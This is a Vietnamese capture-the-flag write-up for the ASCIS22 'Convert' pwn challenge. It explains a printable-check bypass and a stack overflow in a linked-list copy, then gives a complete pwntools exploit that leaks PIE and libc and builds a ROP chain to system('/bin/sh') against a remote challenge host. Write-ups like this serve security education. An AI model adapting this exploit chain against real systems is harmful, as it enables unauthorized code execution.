---
tag: ctf, pwn
---
# Convert (ASCIS22)
### Sơ qua về binary
- Chương trình cho trước địa chỉ của PIE
```c++
puts("I have some gift for you ^^");
return puts((const char *)&retaddr);
```
- sau đó chương trình đi vào 1 vòng `while` thực hiện chức năng thêm note vào 1 chuỗi linked-list, và handle chuỗi đó theo 2 kiểu( `htb` hoặc `bth` nhưng khi exploit mình chỉ cần dùng mỗi `htb` và chưa hiểu `bth` dùng để làm gì)
```c++
__int64 __fastcall route(Note *note)
{
if ( !LOBYTE(note->type) )
goto LABEL_2;
if ( !strcmp((const char *)¬e->type, "htb") )
{
return (unsigned int)handle_htb(note, (__int64)"htb");
}
else
{
if ( strcmp((const char *)¬e->type, "bth") )
{
LABEL_2:
puts("What do you want to do?");
return 0xFFFFFFFFLL;
}
return (unsigned int)handle_bth(note);
}
}
```
- Trong `handle_htb` function, đầu tiên chương trình sẽ check input của bạn có phải là printable không (bug here)? vì chương trình chỉ check với size là `strlen(note->ptr)` nên nếu mình truyền vào `1111\0bbb\x01\x02` thì hàm vẫn trả về giá trị `true`
```c++
__int64 __fastcall check_printable(Note *note)
{
int v2; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]
v2 = strlen(note->ptr);
for ( i = 0; i < v2; ++i )
{
if ( (note->ptr[i] <= 47 || note->ptr[i] > 57) && (note->ptr[i] <= 96 || note->ptr[i] > 102) )
return 0xFFFFFFFFLL;
}
return 0LL;
}
```
- Tiếp theo, nếu biến `num==1` là thêm note đó vào list (có con trỏ header được lưu ở global), và `num==0` là copy tất cả list lên stack <== bug here. Vì khi copy lên stack, chương trình không check length của input nên chúng ta sẽ có stack bof
```c++
__int64 __fastcall handle_htb(Note *note, __int64 a2)
{
// truncated...
v18 = check_printable(note);
if ( v18 == -1 )
{
puts("wrong type");
return v18;
}
if ( note->num == 1 )
{
if ( g_Note )
{
if ( !strcmp((const char *)&g_Note->type, (const char *)¬e->type) )
{
for ( i = g_Note; i->next; i = (Note *)i->next )
;
i->next = (__int64)note;
}
}
else
{
g_Note = note;
}
return 1;
}
else
{
if ( note->num )
{
puts("What do you want to do?");
return 0xFFFFFFFFLL;
}
count = 0;
if ( g_Note && !strcmp((const char *)&g_Note->type, (const char *)¬e->type) )
{
for ( j = g_Note; *(_DWORD *)j->ptr; j = (Note *)j->next )
{
memcpy(&s[count], j->ptr, 0x30uLL);
count += 0x30;
if ( !j->next )
goto LABEL_20;
}
puts("Buffer must not be empty.");
}
// truncated...
}
```
### Exploitation
- Đầu tiên, mình sẽ tạo thật nhiều note để khi copy sẽ control được `return_addr`, nhưng khi đó mình đã overwrite cả biến `j`, và nếu nó không phải là con trỏ, hoặc con trỏ trỏ đến `null` thì vòng `for` copy của mình sẽ bị segfault hoặc kết thúc. Khi đó mình đã overwrite `j` bằng địa chỉ của `g_Note` (và điều đó đồng nghĩa rằng chương trình sẽ copy ngược lại những note đầu tiên của mình).
```c++
for ( j = g_Note; *(_DWORD *)j->ptr; j = (Note *)j->next )
{
memcpy(&s[count], j->ptr, 0x30uLL);
count += 0x30;
if ( !j->next )
goto LABEL_20;
}
```
- Sau khi control được `ret_addr`, leak được `libc`, mình đã nghĩ cho chương trình quay lại `main` nhưng khá sai lầm vì biến global Note là 1 list, và chưa được clear thì khi mình add thêm bất kỳ note nào thì nó sẽ nối vào phía cuối và khi `memcpy` sẽ không nhận địa chỉ lần thứ 2 của mình.
- Khi đó mình đã tìm thử các rop gadget để mục đích clear biến `g_Note`, nhưng số lượng gadget của binary rất là ít. Cuối cùng, mình đã chọn hàm `memset` đã clear, nhưng mình gặp phải vấn đề là không một gadget nào động đến `rdx`, vậy nên mình đã call hàm `strlen` để thay đổi `rdx` (^^)
- Script trông hơi ngu :<
```python
from pwn import *
# p = process("./convert")
p = remote("34.143.130.87", 4001)
p.recvuntil(b'gift for you ^^\n')
pie = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\0')) - 0x1ada
log.info("PIE: %#x" % pie)
def add_note(num, type, m):
pl = num.encode()
pl += type.encode()
pl += m
# print (len(pl))
p.send(pl)
# gdb.attach(p, """
# breakrva 0x16AA
# breakrva 0x1AC1
# breakrva 0x1c09
# breakrva 0x0x12b2
# """)
sleep(1)
pop_rdi_ret =pie + 0x1c0b
# 0x0000000000001c09 : pop rsi ; pop r15 ; ret
pop_rsi_r15_ret = pie+ 0x1c09
# 0x00000000000012b2 : mov dword ptr [rax + 0x10], 0 ; nop ; leave ; ret
mov_rax_ret = 0x12b2 + pie
# 0x00000000000016a5 : mov rbx, qword ptr [rbp - 8] ; leave ; ret
main = pie + 0x1AC1
ret = pie + 0x16AA
# 0x0000000000001c08 : pop r14 ; pop r15 ; ret
pop_r14_r15_ret = 0x1c08+pie
add_note('0001', 'htb\0', b"0"*1 + b"\0"*3 + p32(0x90) + b"A"*0x28)
pl = p64(pop_rdi_ret)
pl += p64(pie + 0x4018) # puts_got
pl += p64(pie + 0x1030) # puts_plt
pl += p64(pop_r14_r15_ret)
pl += p64(0)
# =======================
add_note('0001', 'htb\0', b"0"*7 + b"\0" + pl)
pl = p64(pop_rdi_ret)
pl += p64(pie+0x4080)
pl += p64(pie + 0x10B0) # strlen
pl += p64(pop_r14_r15_ret)
add_note('0001', 'htb\0', b"0"*7 + b"\0" + pl + p64(pie+0x4080-0x10))
pl = p64(pop_rsi_r15_ret)
pl += p64(0)
pl += p64(0)
pl += p64(pie+0x1060) # memset
pl += p64(main)
add_note('0001', 'htb\0', b"0"*7 + b"\0" + pl)
add_note('0000', 'htb\0', b"0"*7 + b"\0" + b"E"*0x28)
libc = u64(p.recvuntil(b'\x7f').split(b'\n')[-1].ljust(8, b'\0')) - 0x06f6a0
# libc = u64(p.recvuntil(b'\x7f').split(b'\n')[-1].ljust(8, b'\0')) - 0x84420
log.info("libc: %#x" %libc)
# ===========================================
add_note('0001', 'htb\0', b"0"*1 + b"\0"*3 + p32(0x90) + b"A"*0x28)
pl = p64(pop_rdi_ret)
pl += p64(libc+ 0x18ce57) # str_bin_sh
pl += p64(libc+ 0x0453a0) # system
pl += p64(0) # main
pl += p64(0)
add_note('0001', 'htb\0', b"0"*7 + b"\0" + pl)
add_note('0001', 'htb\0', b"0"*7 + b"\0" + b"C"*0x20 + p64(pie+0x4080-0x10))
add_note('0001', 'htb\0', b"0"*7 + b"\0" + b"D"*0x28)
add_note('0000', 'htb\0', b"0"*7 + b"\0" + b"E"*0x28)
p.interactive()
```